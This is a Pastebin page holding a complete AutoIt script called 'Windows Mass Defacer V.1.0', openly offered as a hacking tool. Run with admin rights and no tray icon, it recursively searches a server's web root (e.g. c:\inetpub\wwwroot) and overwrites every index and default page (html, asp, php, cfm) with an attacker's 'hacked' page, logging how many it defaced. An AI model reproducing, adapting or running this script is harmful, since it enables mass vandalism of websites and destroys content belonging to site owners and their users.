Advertisement
B47CHGURU

Windows Mass Defacer V.1.0

Aug 30th, 2011
442
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 4.75 KB | None | 0 0
  1. ;=========================================================================
  2. ;                 Windows Mass Defacer  V.1.0                             |
  3. ;                   (C)oded by B47CHGURU                                  |
  4. ;=========================================================================
  5. ;usage: mass.exe  -d <defacepath> -r <rootpath>                           |
  6. ;example: hmass.pl -d "C:\hacked.html" -r "c:\inetpub\wwwroot\"           |
  7. ;note: Quotes are necessary.!!        (Updated on 30-08-2011)             |
  8. ;if any bugs are found ...plz do inform me at [email protected]    |
  9. ;follow the status of the defacer with defacerlog.txt                     |
  10. ;=========================================================================
  11. #RequireAdmin
  12. #NoTrayIcon
  13. #Include <File.au3>
  14. #Include <Array.au3>
  15. #include "_ArraySize.au3"
  16. #include "RecFileListToArray.au3"
  17. Global $defacerpath = ""
  18. Global $rootpath = ""
  19. $time = @HOUR&":"&@MIN&":"&@SEC
  20. ;;Get Parameters
  21. FileOpen("defacelog.txt", 1)
  22. ReadCmdLineParams()
  23.  If not FileExists($defacerpath) Then
  24.      FileWrite("defacelog.txt",@HOUR&":"&@MIN&":"&@SEC& " - "&$defacerpath&" is an invalid path to deface page..!!"&@CRLF)
  25.      Exit
  26.  EndIf
  27.   If not FileExists($rootpath) Then
  28.      FileWrite("defacelog.txt",@HOUR&":"&@MIN&":"&@SEC& " - "&$rootpath& " is an invalid root path..!!"&@CRLF)
  29.      Exit
  30.      EndIf
  31.  
  32.  
  33.  
  34. $globalvariable = 0;we define the global variable for no: of succesful defacing.
  35.  
  36.  
  37.  
  38.  Global $avArray[10]
  39.  
  40. $avArray[0] = "index.html"
  41. $avArray[1] = "index.htm"
  42. $avArray[2] = "index.asp"
  43. $avArray[3] = "index.cfm"
  44. $avArray[4] = "index.php"
  45. $avArray[5] = "default.html"
  46. $avArray[6] = "default.htm"
  47. $avArray[7] = "default.asp"
  48. $avArray[8] = "default.cfm"
  49. $avArray[9] = "default.php"
  50.  
  51.  $countdeface = _ArraySize( $avArray )
  52.  $countdeface = $countdeface - 1
  53. If not $countdeface Then
  54.    
  55.     Exit
  56. EndIf
  57.  
  58. lising()
  59.  
  60. func replace($array);replaces the file if exists
  61.     local $length, $target
  62.     local $i = 1
  63.     $length = _ArraySize( $array )
  64.     $length = $length - 1
  65.     for $i = 1 To $length
  66.         $target = $array[$i]
  67.     FileCopy($defacerpath, $target, 9) ; Flag = 1 + 8 (overwrite + create target directory structure)
  68. ; Copy the txt-files from source to target and overwrite target files with same name
  69. $globalvariable = $globalvariable + 1
  70. Next
  71. EndFunc
  72.  
  73. func lising();directory listing recursive
  74.     Local $localdeafce
  75. Local $asi = "0"
  76.    
  77.    
  78.     for $asi = 0 To $countdeface
  79.        
  80.     Local $localdeafce = $avArray[$asi]
  81. local $aArray = _RecFileListToArray($rootpath, $localdeafce, 1, 1, 0, 2)
  82.  
  83. if not @error = 1 Then
  84.  
  85. replace($aArray)
  86. EndIf
  87.  
  88.        
  89.         Next
  90.     EndFunc
  91.    
  92.    
  93.    
  94.  
  95.  
  96. Func ReadCmdLineParams()    
  97.  
  98.     for $i = 1 to $cmdLine[0]
  99.  
  100.         select
  101.             ;;If the arguement equal -d
  102.             case $CmdLine[$i] = "-d"
  103.                 ;check for missing argument
  104.                 if $i == $CmdLine[0] Then cmdLineHelpMsg()
  105.  
  106.                 ;Make sure the next argument is not another paramter
  107.                 if StringLeft($cmdline[$i+1], 1) == "-" Then
  108.                     cmdLineHelpMsg()
  109.                 Else
  110.                     ;;Strip white space from the begining and end of the input
  111.                     ;;Not alway nessary let it in just in case
  112.                     $defacerpath = StringStripWS($CmdLine[$i + 1], 3)
  113.                 endif
  114.  
  115.             ;;If the arguement equal  -r
  116.             case $CmdLine[$i] = "-r"
  117.  
  118.                 ;check for missing arguement
  119.                 if $i == $CmdLine[0] Then cmdLineHelpMsg()
  120.  
  121.                 ;Make sure the next argument is not another paramter
  122.                 if StringLeft($cmdline[$i+1], 1) == "-" Then
  123.                     cmdLineHelpMsg()
  124.                 Else
  125.                     ;;Strip white space from the begining and end of the input
  126.                     ;;Not alway nessary let it in just in case
  127.                     $rootpath = StringStripWS($CmdLine[$i + 1], 3)
  128.                 EndIf
  129.  
  130.            
  131.         EndSelect
  132.  
  133.     Next
  134.  
  135.     ;Make sure required options are set and if not display the Help Message
  136.     if $defacerpath == "" Or $rootpath == "" Then
  137.         cmdLineHelpMsg()
  138.     EndIf
  139.  
  140. EndFunc
  141.  
  142.  
  143. Func cmdLineHelpMsg()
  144.     Local $thewrite
  145.     $thewrite &= ""&@CRLF
  146.     $thewrite &= "========================================================================="&@CRLF
  147.     $thewrite &= "               Krishandpatel's Windows Mass Defacer                      "&@CRLF
  148.     $thewrite &= "                     (C)oded by B47CHGURU                               "&@CRLF
  149.     $thewrite &= "========================================================================="&@CRLF
  150.     $thewrite &= "usage: mass.exe  -d <defacepath> -r <rootpath>"&@CRLF
  151.     $thewrite &= 'example: hmass.pl -d "C:\hacked.html" -r "c:\inetpub\wwwroot\"'&@CRLF
  152.     $thewrite &= "note: Quotes are necessary.!!"&@CRLF
  153.     $thewrite &= "========================================================================="&@CRLF&@CRLF
  154.     FileWrite("defacelog.txt", $thewrite)
  155.     Exit
  156. EndFunc
  157. FileWrite("defacelog.txt","Started defacing at "&$time& " and ended at "&@HOUR&":"&@MIN&":"&@SEC& ".Defaced "&$globalvariable&" index pages..!!"&@CRLF)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement